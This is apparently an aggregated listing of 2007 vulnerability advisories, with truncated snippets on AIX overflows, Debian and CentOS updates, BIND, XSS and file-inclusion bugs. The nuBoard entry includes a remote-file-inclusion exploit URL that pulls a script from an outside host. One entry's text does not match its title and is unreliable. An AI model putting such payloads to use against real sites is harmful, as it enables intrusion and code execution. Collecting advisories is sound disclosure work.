CVE-2007-4623

CVE-2007-4623 is a local stack-based buffer overflow in the bellmail utility on IBM AIX 5.2/5.3. The vulnerability exists in the bellmail/sendrmt function, where user input is concatenated with static strings using sprintf without proper bounds checking, allowing a local attacker to overflow the ...

CVE-2007-4217

CVE-2007-4217 describes a stack-based buffer overflow in the domacro function of IBM AIX FTP client (AIX 5.2 and 5.3). The overflow is triggered by a long parameter to a macro executed via the '$' command, allowing a local attacker to gain privileges. The underlying cause is an unbounded strcpy i...

CVE-2007-4513

Summary: CVE-2007-4513 affects IBM AIX 5.2/5.3. The vulnerable components are the AIX utilities lqueryvg (option -p) and lquerypv (option -V). The root cause is a stack-based buffer overflow caused by copying an overly long argument into a fixed-size buffer via sprintf. This enables local privile...

[SECURITY] [DSA 1398-1] New perdition packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1398-1 [email protected] http://www.debian.org/security/ Noah Meyerhans November 05, 2007 http://www.debian.org/security/faq -...

[SECURITY] [DSA 1398-1] New perdition packages fix arbitrary code execution

------------------------------------------------------------------------ Debian Security Advisory DSA-1398-1 [email protected] http://www.debian.org/security/ Noah Meyerhans November 05, 2007 http://www.debian.org/security/faq -...

SOL8077 - BIND 8 vulnerability CVE-2007-2930

The NSIDSHUFFLEONLY and NSIDUSEPOOL PRNG algorithms in ISC BIND 8 before 8.4.7-P1 generate predictable DNS query identifiers when sending outgoing queries such as NOTIFY messages when answering questions as a resolver, which allows remote attackers to poison DNS caches using unknown vectors...

sfshoutbox-inject.txt

----------------------------- || WWW.SMASH-THE-STACK.NET || ----------------------------- || ADVISORY: SF-Shoutbox 1.2.1 = 1.4 HTML/JS Injection Vulnerability || 0x00: ABOUT ME || 0x01: DATELINE || 0x02: INFORMATION || 0x03: EXPLOITATION || 0x04: GOOGLE DORK || 0x05: RISK LEVEL || 0x00: ABOUT ME...

Sun Java Web Start dnsResolve ActiveX Buffer Overflow (CVE-2007-5019)

Microsoft SQL Server is a Relational Database Management System RDBMS that can be managed through Distributed Management Objects DMO. A remote attacker can exploit this issue to execute arbitrary code on vulnerable server...

Critical: pcre security update

6.6-2.1 - Resolves: 315951, CVE-2007-1659, CVE-2007-1660 6.6-1.2 - Resolves: 315951, CVE-2007-1659, CVE-2007-1660...

Microsoft Windows MFC Library FileFind Class Heap Overflow (CVE-2007-4916)

The Microsoft Foundation Class Library is a library that wraps portions of the Windows API in C++ classes,including functionality that enables them to use a default application framework. The vulnerability is due to an error in the FileFind Class that can be exploited via applications that use th...

DSA-1399-1 pcre3 - arbitrary code execution

Bulletin has no description...

[SECURITY] [DSA 1397-1] New mono packages fix integer overflow

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1397-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff November 3rd, 2007 http://www.debian.org/security/faq -...

Mandrake Linux Security Advisory : pwlib (MDKSA-2007:206)

A memory management flaw was discovered in PWLib, that an attacker could use to crash an application linked with it, such as Ekiga. Updated packages have been patched to prevent these issues. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plug...

Critical: pcre security update

4.5-4.1 - Resolves: 315971, CVE-2007-1660 4.5-4 - Resolves: 315971, CVE-2007-1660...

SyndeoCMS 2.5.01 - cmsdir Remote File Inclusion

SyndeoCMS 2.5.01 - cmsdir Remote File Inclusion -------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = ...

Unfixed XSS vulnerability at wwy.webaslan.com

Security researcher St@rExT, has submitted on 11/04/2007 a cross-site-scripting XSS vulnerability affecting wwy.webaslan.com, which at the time of submission ranked 7599 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 11/04/2007. It is currentl...

SyndeoCMS 2.5.01 - 'cmsdir' Remote File Inclusion

-------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = = http://sourceforge.net/projects/syndeocms =...

nuBoard 0.5 - 'site' Remote File Inclusion

nuBoard 0.5 index.php site Remote File Inclusion Vulnerability http://switch.dl.sourceforge.net/sourceforge/nuboard/nuboardv0.5.tar.gz /nuboardv0.5/admin/index.php?site=http://localhost/scripts/020.txt? milw0rm.com 2007-11-04...

[SECURITY] [DSA 1397-1] New mono packages fix integer overflow

-------------------------------------------------------------------------- Debian Security Advisory DSA 1397-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff November 3rd, 2007 http://www.debian.org/security/faq -...

kernel security update

CentOS Errata and Security Advisory CESA-2007:0939 Updated kernel packages that fix various security issues in the Red Hat Enterprise Linux 4 kernel are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel is the cor...